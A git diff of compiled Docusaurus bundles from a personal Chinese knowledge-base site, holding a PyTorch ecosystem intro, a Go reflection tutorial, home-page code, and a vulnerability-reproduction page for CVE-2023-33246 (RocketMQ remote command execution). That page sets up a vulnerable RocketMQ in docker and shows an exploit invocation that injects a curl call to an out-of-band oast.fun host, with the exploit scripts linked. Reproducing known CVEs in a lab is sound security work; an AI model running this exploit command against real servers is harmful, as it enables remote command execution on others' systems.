package\uff09\u548c\u7a0b\u5e8f\uff0c\u8fd9\u4e9b\u4f18\u79c0\u7684\u5de5\u5177\u5305\u6781\u5927\u5730\u65b9\u4fbf\u4e86PyTorch\u5728\u7279\u5b9a\u9886\u57df\u7684\u4f7f\u7528\u3002\u6bd4\u5982\u5bf9\u4e8e\u8ba1\u7b97\u673a\u89c6\u89c9\uff0c\u6709TorchVision\u3001TorchVideo\u7b49\u7528\u4e8e\u56fe\u7247\u548c\u89c6\u9891\u5904\u7406\uff1b\u5bf9\u4e8e\u81ea\u7136\u8bed\u8a00\u5904\u7406\uff0c\u6709torchtext\uff1b\u5bf9\u4e8e\u56fe\u5377\u79ef\u7f51\u7edc\uff0c\u6709PyTorch Geometric \xb7\xb7\xb7\xb7\xb7\xb7\u3002\u8fd9\u91cc\u53ea\u662f\u4e3e\u4f8b\uff0c\u6bcf\u4e2a\u9886\u57df\u8fd8\u6709\u5f88\u591a\u4f18\u79c0\u7684\u5de5\u5177\u5305\u4f9b\u793e\u533a\u4f7f\u7528\u3002\u8fd9\u4e9b\u5de5\u5177\u5305\u5171\u540c\u6784\u6210\u4e86PyTorch\u7684\u751f\u6001\uff08EcoSystem\uff09\u3002"}),"\n",(0,s.jsx)(t.p,{children:"PyTorch\u751f\u6001\u5f88\u5927\u7a0b\u5ea6\u52a9\u529b\u4e86PyTorch\u7684\u63a8\u5e7f\u4e0e\u6210\u529f\u3002\u5728\u7279\u5b9a\u9886\u57df\u4f7f\u7528PyTorch\u751f\u6001\u4e2d\u7684\u5de5\u5177\u5305\uff0c\u80fd\u591f\u6781\u5927\u5730\u964d\u4f4e\u5165\u95e8\u95e8\u69db\uff0c\u65b9\u4fbf\u590d\u73b0\u5df2\u6709\u7684\u5de5\u4f5c\u3002\u6bd4\u5982\u6211\u4eec\u5728\u8ba8\u8bba\u6a21\u578b\u4fee\u6539\u65f6\u5019\u5c31\u7528\u5230\u4e86torchvision\u4e2d\u9884\u5b9a\u4e49\u7684resnet\u7ed3\u6784\uff0c\u800c\u4e0d\u9700\u8981\u81ea\u5df1\u91cd\u65b0\u7f16\u5199\u3002\u540c\u65f6\uff0cPyTorch\u751f\u6001\u6709\u52a9\u4e8e\u793e\u533a\u529b\u91cf\u7684\u52a0\u5165\uff0c\u5171\u540c\u4e3a\u793e\u533a\u63d0\u4f9b\u66f4\u6709\u4ef7\u503c\u7684\u5185\u5bb9\u548c\u7a0b\u5e8f\uff0c\u8fd9\u4e5f\u662f\u5f00\u6e90\u7406\u5ff5\u6240\u575a\u6301\u7684\u4ef7\u503c\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u5728\u540e\u9762\u7684\u5185\u5bb9\u4e2d\uff0c\u6211\u4eec\u4f1a\u9010\u6b65\u4ecb\u7ecdPyTorch\u751f\u6001\u5728\u56fe\u50cf\u3001\u89c6\u9891\u3001\u6587\u672c\u7b49\u9886\u57df\u4e2d\u7684\u53d1\u5c55\uff0c\u9488\u5bf9\u67d0\u4e2a\u9886\u57df\u6211\u4eec\u9009\u62e9\u5176\u4e2d\u6709\u4ee3\u8868\u6027\u7684\u4e00\u4e2a\u5de5\u5177\u5305\u8fdb\u884c\u8be6\u7ec6\u4ecb\u7ecd\uff0c\u4e3b\u8981\u5305\u62ec\u5de5\u5177\u5305\u7684\u4f5c\u8005\u6216\u5176\u6240\u5728\u673a\u6784\u3001\u6570\u636e\u9884\u5904\u7406\u5de5\u5177\uff08\u8fd9\u5757\u53ef\u80fd\u518d\u5f15\u5165\u7b2c\u4e09\u65b9\u5de5\u5177\u5305\uff09\u3001\u6570\u636e\u6269\u589e\u3001\u5e38\u7528\u6a21\u578b\u7ed3\u6784\u7684\u9884\u5b9a\u4e49\u3001\u9884\u8bad\u7ec3\u6a21\u578b\u6743\u91cd\u3001\u5e38\u7528\u635f\u5931\u51fd\u6570\u3001\u5e38\u7528\u8bc4\u6d4b\u6307\u6807\u3001\u5c01\u88c5\u597d\u7684\u8bad\u7ec3&\u6d4b\u8bd5\u6a21\u5757\uff0c\u4ee5\u53ca\u53ef\u89c6\u5316\u5de5\u5177\u3002\u8fd9\u4e9b\u5185\u5bb9\u4e5f\u662f\u6211\u4eec\u5728\u4f7f\u7528\u5bf9\u5e94\u5de5\u5177\u5305\u65f6\u4f1a\u7528\u5230\u7684\u3002\u8bfb\u8005\u53ef\u4ee5\u6839\u636e\u81ea\u8eab\u9700\u8981\u91cd\u70b9\u5b66\u4e60\uff0c\u5bf9\u4e8e\u81ea\u5df1\u7814\u7a76\u6240\u4e0d\u6d89\u53ca\u7684\u5de5\u5177\u5305\uff0c\u53ef\u4ee5\u53ea\u505a\u4e86\u89e3\uff0c\u9700\u8981\u4f7f\u7528\u65f6\u518d\u6765\u5b66\u4e60\u3002"}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.strong,{children:"\u6ce8\uff1a"})}),"\n",(0,s.jsx)(t.p,{children:"\u672c\u7ae0\u5185\u5bb9\u4f1a\u4e0d\u65ad\u66f4\u65b0\uff0c\u6b22\u8fce\u5927\u5bb6\u5728issue\u4e2d\u63d0\u51fa\u5b9d\u8d35\u5efa\u8bae\uff0c\u6216\u8005\u76f4\u63a5pull request~"})]})}function a(e={}){const{wrapper:t}={...(0,c.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>o});var r=n(96540);const s={},c=r.createContext(s);function i(e){const t=r.useContext(c);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function o(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),r.createElement(c.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/c4f5d8e4.7912aeac.js b/en/assets/js/c4f5d8e4.7912aeac.js new file mode 100644 index 0000000..b9eba52 --- /dev/null +++ b/en/assets/js/c4f5d8e4.7912aeac.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2634],{56467:(e,s,i)=>{i.r(s),i.d(s,{default:()=>j});var a=i(34164),c=i(28774),l=i(44586),o=i(21656),n=i(51107);const r={features:"features_t9lD",featureSvg:"featureSvg_GfXr"};var t=i(74848);const h=[];function d({Svg:e,title:s,description:i}){return(0,t.jsxs)("div",{className:(0,a.A)("col col--4"),children:[(0,t.jsx)("div",{className:"text--center",children:(0,t.jsx)(e,{className:r.featureSvg,role:"img"})}),(0,t.jsxs)("div",{className:"text--center padding-horiz--md",children:[(0,t.jsx)(n.A,{as:"h3",children:s}),(0,t.jsx)("p",{children:i})]})]})}function m(){return(0,t.jsx)("section",{className:r.features,children:(0,t.jsx)("div",{className:"container",children:(0,t.jsx)("div",{className:"row",children:h.map((e,s)=>(0,t.jsx)(d,{...e},s))})})})}const g={heroBanner:"heroBanner_qdFl","hero-title":"hero-title_l9ov","cool-button":"cool-button_ql7L",buttons:"buttons_AeoN","waving-hand":"waving-hand_cs2R",wave:"wave_H3LG","home-container":"home-container_oR0z","social-icons":"social-icons_yr12","badges-container":"badges-container_DpSj","badge-image-class":"badge-image-class_eOmn","social-icon":"social-icon_dUqL","github-icon":"github-icon_u8pr","mail-icon":"mail-icon_bKNN","wechat-icon":"wechat-icon_LFEJ","rss-icon":"rss-icon_sYS7","okx-icon":"okx-icon_iwgw","cool-button-extra":"cool-button-extra_im0O"};function x(){const{siteConfig:e}=(0,l.A)();return(0,t.jsx)("header",{className:(0,a.A)("hero",g.heroBanner),children:(0,t.jsx)("div",{className:"container",children:(0,t.jsxs)("div",{className:g["home-container"],children:[(0,t.jsx)(n.A,{as:"h1",className:"hero__title",children:(0,t.jsxs)("h1",{className:g["hero-title"],style:{fontSize:"clamp(2rem, 5vw, 3.5rem)"},children:["\u4f60\u597d\uff0c\u6211\u662f",(0,t.jsx)("span",{style:{color:"var(--ifm-color-primary)"},children:e.title}),(0,t.jsx)("span",{className:g["waving-hand"],role:"img","aria-label":"waving hand",children:"\ud83d\udc4b"})]})}),(0,t.jsx)("p",{style:{fontSize:"clamp(1rem, 2vw, 1.2rem);",lineHeight:1.6,marginBottom:"2rem",color:"var(--ifm-color-emphasis-700)"},children:e.tagline}),(0,t.jsxs)("div",{className:g["badges-container"],children:[(0,t.jsx)("img",{className:g["badge-image-class"],src:"https://img.shields.io/badge/Docusaurus-3.9.1-blue?logo=docusaurus&logoColor=white",alt:"Docusaurus"}),(0,t.jsx)("img",{className:g["badge-image-class"],src:"https://img.shields.io/badge/Powered_by-wjlin0-blue?logo=react&logoColor=white",alt:"wjlin0"}),(0,t.jsx)("a",{href:"https://github.com/wjlin0/pathScan",children:(0,t.jsx)("img",{alt:"Go",className:g["badge-image-class"],src:"https://img.shields.io/badge/wjlin0-pathScan-blue?logo=go&logoColor=white"})}),(0,t.jsx)("a",{href:"https://www.wjlin0.com",children:(0,t.jsx)("img",{className:g["badge-image-class"],src:"https://visitor-badge.laobi.icu/badge?page_id=wjlin0",alt:"visitor"})})]}),(0,t.jsxs)("div",{className:g["social-icons"],children:[(0,t.jsx)("a",{className:(0,a.A)(g["social-icon"],g["github-icon"]),href:"#",target:"_blank",rel:"noreferrer",children:(0,t.jsx)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"currentColor",children:(0,t.jsx)("path",{d:"M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12"})})}),(0,t.jsx)("a",{className:(0,a.A)(g["social-icon"],g["mail-icon"]),href:"mailto:support@wjlin0.com",children:(0,t.jsx)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"currentColor",children:(0,t.jsx)("path",{d:"M20 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm0 4l-8 5-8-5V6l8 5 8-5v2z"})})}),(0,t.jsx)("a",{href:"#","aria-label":"WeChat",className:(0,a.A)(g["social-icon"],g["wechat-icon"]),children:(0,t.jsx)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"currentColor",children:(0,t.jsx)("path",{d:"M8.691 2.188C3.891 2.188 0 5.476 0 9.53c0 2.212 1.17 4.203 3.002 5.55a.59.59 0 0 1 .213.665l-.39 1.48c-.019.07-.048.141-.048.213 0 .163.13.295.29.295a.326.326 0 0 0 .167-.054l1.903-1.114a.864.864 0 0 1 .717-.098 10.16 10.16 0 0 0 2.837.403c.276 0 .543-.027.811-.05-.857-2.578.157-4.972 1.932-6.446 1.703-1.415 3.882-1.98 5.853-1.838-.576-3.583-4.196-6.348-8.596-6.348zM5.785 5.991c.642 0 1.162.529 1.162 1.18a1.17 1.17 0 0 1-1.162 1.178A1.17 1.17 0 0 1 4.623 7.17c0-.651.52-1.18 1.162-1.18zm5.813 0c.642 0 1.162.529 1.162 1.18a1.17 1.17 0 0 1-1.162 1.178 1.17 1.17 0 0 1-1.162-1.178c0-.651.52-1.18 1.162-1.18zm5.34 2.867c-1.797-.052-3.746.512-5.28 1.786-1.72 1.428-2.687 3.72-1.78 6.22.942 2.453 3.666 4.229 6.884 4.229.826 0 1.622-.12 2.361-.336a.722.722 0 0 1 .598.082l1.584.926a.272.272 0 0 0 .14.047c.134 0 .24-.111.24-.247 0-.06-.023-.12-.038-.177l-.327-1.233a.582.582 0 0 1-.023-.156.49.49 0 0 1 .201-.398C23.024 18.48 24 16.82 24 14.98c0-3.21-2.931-5.837-6.656-6.088V8.89c-.135-.01-.27-.027-.407-.03zm-2.53 3.274c.535 0 .969.44.969.982a.976.976 0 0 1-.969.983.976.976 0 0 1-.969-.983c0-.542.434-.982.97-.982zm4.844 0c.535 0 .969.44.969.982a.976.976 0 0 1-.969.983.976.976 0 0 1-.969-.983c0-.542.434-.982.969-.982z"})})}),(0,t.jsx)("a",{className:(0,a.A)(g["social-icon"],g["rss-icon"]),href:"/rss.xml",children:(0,t.jsxs)("svg",{width:"24",height:"24",viewBox:"0 0 24 24",fill:"currentColor",children:[(0,t.jsx)("path",{d:"M19 20.001C19 11.729 12.271 5 4 5v2c7.168 0 13 5.832 13 13.001h2z"}),(0,t.jsx)("path",{d:"M12 20.001h2C14 14.486 9.514 10 4 10v2c4.411 0 8 3.589 8 8.001z"}),(0,t.jsx)("circle",{cx:"6",cy:"18",r:"2"})]})})]}),(0,t.jsx)(c.A,{className:(0,a.A)(g["cool-button"],g["cool-button-extra"]),to:"/docs/intro",children:"\u8fdb\u5165\u6211\u7684\u77e5\u8bc6\u5e93"})]})})})}function j(){const{siteConfig:e}=(0,l.A)();return(0,t.jsxs)(o.A,{title:`\u9996\u9875 | ${e.title} \u77e5\u8bc6\u5e93`,description:"Description will go into a meta tag in ",children:[(0,t.jsx)(x,{}),(0,t.jsx)("main",{children:(0,t.jsx)(m,{})})]})}}}]); \ No newline at end of file diff --git a/en/assets/js/c66a89f8.fc719201.js b/en/assets/js/c66a89f8.fc719201.js new file mode 100644 index 0000000..6861b72 --- /dev/null +++ b/en/assets/js/c66a89f8.fc719201.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[52],{28453:(e,n,t)=>{t.d(n,{R:()=>s,x:()=>a});var r=t(96540);const o={},c=r.createContext(o);function s(e){const n=r.useContext(c);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function a(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(o):e.components||o:s(e.components),r.createElement(c.Provider,{value:n},e.children)}},90428:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>i,contentTitle:()=>a,default:()=>d,frontMatter:()=>s,metadata:()=>r,toc:()=>l});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","title":"CVE-2023-33246","description":"CVE-2023-33246","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023/01.CVE-2023-33246.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/04.cve/2023/01.CVE-2023-33246.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237"},"next":{"title":"CVE-2023-33979","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979"}}');var o=t(74848),c=t(28453);const s={},a=void 0,i={},l=[{value:"\u73af\u5883\u642d\u5efa",id:"\u73af\u5883\u642d\u5efa",level:2},{value:"\u653b\u51fb",id:"\u653b\u51fb",level:2}];function p(e){const n={a:"a",blockquote:"blockquote",code:"code",h2:"h2",p:"p",pre:"pre",...(0,c.R)(),...e.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(n.p,{children:"CVE-2023-33246"}),"\n",(0,o.jsxs)(n.blockquote,{children:["\n",(0,o.jsx)(n.p,{children:"\u5bf9\u4e8eRocketMQ 5.1.0\u53ca\u4ee5\u4e0b\u7248\u672c\uff0c\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u5b58\u5728\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u7684\u98ce\u9669\u3002RocketMQ\u7684\u51e0\u4e2a\u7ec4\u4ef6\uff0c\u5305\u62ecNameServer\u3001Broker\u548cController\uff0c\u5728extranet\u4e0a\u6cc4\u9732\uff0c\u5e76\u4e14\u7f3a\u4e4f\u6743\u9650\u9a8c\u8bc1\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528\u66f4\u65b0\u914d\u7f6e\u529f\u80fd\u4f5c\u4e3aRocketMQ\u8fd0\u884c\u7684\u7cfb\u7edf\u7528\u6237\u6267\u884c\u547d\u4ee4\u6765\u5229\u7528\u6b64\u6f0f\u6d1e\u3002\u6b64\u5916\uff0c\u653b\u51fb\u8005\u8fd8\u53ef\u4ee5\u901a\u8fc7\u4f2a\u9020RocketMQ\u534f\u8bae\u5185\u5bb9\u6765\u8fbe\u5230\u540c\u6837\u7684\u6548\u679c\u3002\u4e3a\u4e86\u9632\u6b62\u8fd9\u4e9b\u653b\u51fb\uff0c\u5efa\u8bae\u7528\u6237\u5347\u7ea7\u52305.1.1\u6216\u66f4\u9ad8\u7248\u672c\u4ee5\u4f7f\u7528RocketMQ 5.x\uff0c\u6216\u5347\u7ea7\u52304.9.6\u6216\u66f4\u9ad8\u7248\u4ee5\u4f7f\u7528Rocket MQ 4.x\u3002"}),"\n"]}),"\n",(0,o.jsx)(n.h2,{id:"\u73af\u5883\u642d\u5efa",children:"\u73af\u5883\u642d\u5efa"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{children:'docker pull apache/rocketmq:4.9.4\n# Start nameserver\ndocker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv\n# Start Broker\ndocker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf\n'})}),"\n",(0,o.jsx)(n.h2,{id:"\u653b\u51fb",children:"\u653b\u51fb"}),"\n",(0,o.jsxs)(n.blockquote,{children:["\n",(0,o.jsxs)(n.p,{children:["poc: ",(0,o.jsx)(n.a,{href:"https://github.com/wjlin0/poc/blob/main/nuclei/CVE-2023-33246/check.py",children:"check.py"})]}),"\n",(0,o.jsxs)(n.p,{children:["exp: ",(0,o.jsx)(n.a,{href:"https://github.com/wjlin0/poc/blob/main/nuclei/CVE-2023-33246/poc/CVE-2023-33246/exp.py",children:"exp.py"})]}),"\n"]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{children:"# Detect RocketMQ version to identify vulnerabilities\n```\npython3 check.py --ip 127.0.0.1 --port 9876\n# or \npython3 check.py --file rocketmq_targets.txt --port 9876\n```\n\n# Run exploit\n```\npython3 exp.py 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test\n```\n\n"})})]})}function d(e={}){const{wrapper:n}={...(0,c.R)(),...e.components};return n?(0,o.jsx)(n,{...e,children:(0,o.jsx)(p,{...e})}):p(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/c6fd516c.a9ff33a7.js b/en/assets/js/c6fd516c.a9ff33a7.js new file mode 100644 index 0000000..cbc3fee --- /dev/null +++ b/en/assets/js/c6fd516c.a9ff33a7.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9481],{28453:(e,n,t)=>{t.d(n,{R:()=>c,x:()=>s});var l=t(96540);const i={},r=l.createContext(i);function c(e){const n=l.useContext(r);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function s(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:c(e.components),l.createElement(r.Provider,{value:n},e.children)}},30120:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>d,contentTitle:()=>s,default:()=>h,frontMatter:()=>c,metadata:()=>l,toc:()=>a});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04","description":"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/17.GoLang-\u53cd\u5c04.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/17.GoLang-\u53cd\u5c04.md","tags":[],"version":"current","sidebarPosition":17,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u63a5\u53e3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1"}}');var i=t(74848),r=t(28453);const c={},s="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04",d={},a=[{value:"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236",id:"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236",level:2},{value:"\u53cd\u5c04\u4ecb\u7ecd",id:"\u53cd\u5c04\u4ecb\u7ecd",level:2},{value:"reflect\u5305",id:"reflect\u5305",level:2},{value:"TypeOf",id:"typeof",level:3},{value:"type name\u548ctype kind",id:"type-name\u548ctype-kind",level:4},{value:"ValueOf",id:"valueof",level:3},{value:"\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u503c",id:"\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u503c",level:4},{value:"\u901a\u8fc7\u53cd\u5c04\u8bbe\u7f6e\u53d8\u91cf\u7684\u503c",id:"\u901a\u8fc7\u53cd\u5c04\u8bbe\u7f6e\u53d8\u91cf\u7684\u503c",level:4},{value:"isNil()\u548cisValid()",id:"isnil\u548cisvalid",level:4},{value:"isNil()",id:"isnil",level:5},{value:"isValid()",id:"isvalid",level:5},{value:"\u4e3e\u4e2a\u4f8b\u5b50",id:"\u4e3e\u4e2a\u4f8b\u5b50",level:5},{value:"\u7ed3\u6784\u4f53\u53cd\u5c04",id:"\u7ed3\u6784\u4f53\u53cd\u5c04",level:2},{value:"\u4e0e\u7ed3\u6784\u4f53\u76f8\u5173\u7684\u65b9\u6cd5",id:"\u4e0e\u7ed3\u6784\u4f53\u76f8\u5173\u7684\u65b9\u6cd5",level:3},{value:"StructField\u7c7b\u578b",id:"structfield\u7c7b\u578b",level:3},{value:"\u7ed3\u6784\u4f53\u53cd\u5c04\u793a\u4f8b",id:"\u7ed3\u6784\u4f53\u53cd\u5c04\u793a\u4f8b",level:3},{value:"\u53cd\u5c04\u662f\u628a\u53cc\u5203\u5251",id:"\u53cd\u5c04\u662f\u628a\u53cc\u5203\u5251",level:2}];function o(e){const n={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04"})}),"\n",(0,i.jsx)(n.h2,{id:"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236",children:"\u53d8\u91cf\u7684\u5185\u5728\u673a\u5236"}),"\n",(0,i.jsx)(n.p,{children:"Go\u8bed\u8a00\u4e2d\u7684\u53d8\u91cf\u662f\u5206\u4e3a\u4e24\u90e8\u5206\u7684:"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u7c7b\u578b\u4fe1\u606f\uff1a\u9884\u5148\u5b9a\u4e49\u597d\u7684\u5143\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.li,{children:"\u503c\u4fe1\u606f\uff1a\u7a0b\u5e8f\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u53ef\u52a8\u6001\u53d8\u5316\u7684\u3002"}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"\u53cd\u5c04\u4ecb\u7ecd",children:"\u53cd\u5c04\u4ecb\u7ecd"}),"\n",(0,i.jsx)(n.p,{children:"\u53cd\u5c04\u662f\u6307\u5728\u7a0b\u5e8f\u8fd0\u884c\u671f\u95f4\u5bf9\u7a0b\u5e8f\u672c\u8eab\u8fdb\u884c\u8bbf\u95ee\u548c\u4fee\u6539\u7684\u80fd\u529b\u3002\u7a0b\u5e8f\u5728\u7f16\u8bd1\u65f6\uff0c\u53d8\u91cf\u88ab\u8f6c\u6362\u4e3a\u5185\u5b58\u5730\u5740\uff0c\u53d8\u91cf\u540d\u4e0d\u4f1a\u88ab\u7f16\u8bd1\u5668\u5199\u5165\u5230\u53ef\u6267\u884c\u90e8\u5206\u3002\u5728\u8fd0\u884c\u7a0b\u5e8f\u65f6\uff0c\u7a0b\u5e8f\u65e0\u6cd5\u83b7\u53d6\u81ea\u8eab\u7684\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u652f\u6301\u53cd\u5c04\u7684\u8bed\u8a00\u53ef\u4ee5\u5728\u7a0b\u5e8f\u7f16\u8bd1\u671f\u95f4\u5c06\u53d8\u91cf\u7684\u53cd\u5c04\u4fe1\u606f\uff0c\u5982\u5b57\u6bb5\u540d\u79f0\u3001\u7c7b\u578b\u4fe1\u606f\u3001\u7ed3\u6784\u4f53\u4fe1\u606f\u7b49\u6574\u5408\u5230\u53ef\u6267\u884c\u6587\u4ef6\u4e2d\uff0c\u5e76\u7ed9\u7a0b\u5e8f\u63d0\u4f9b\u63a5\u53e3\u8bbf\u95ee\u53cd\u5c04\u4fe1\u606f\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u5728\u7a0b\u5e8f\u8fd0\u884c\u671f\u95f4\u83b7\u53d6\u7c7b\u578b\u7684\u53cd\u5c04\u4fe1\u606f\uff0c\u5e76\u4e14\u6709\u80fd\u529b\u4fee\u6539\u5b83\u4eec\u3002"}),"\n",(0,i.jsx)(n.p,{children:"Go\u7a0b\u5e8f\u5728\u8fd0\u884c\u671f\u95f4\u4f7f\u7528reflect\u5305\u8bbf\u95ee\u7a0b\u5e8f\u7684\u53cd\u5c04\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.p,{children:"\u5728\u4e0a\u4e00\u7bc7\u535a\u5ba2\u4e2d\u6211\u4eec\u4ecb\u7ecd\u4e86\u7a7a\u63a5\u53e3\u3002 \u7a7a\u63a5\u53e3\u53ef\u4ee5\u5b58\u50a8\u4efb\u610f\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u90a3\u6211\u4eec\u5982\u4f55\u77e5\u9053\u8fd9\u4e2a\u7a7a\u63a5\u53e3\u4fdd\u5b58\u7684\u6570\u636e\u662f\u4ec0\u4e48\u5462\uff1f 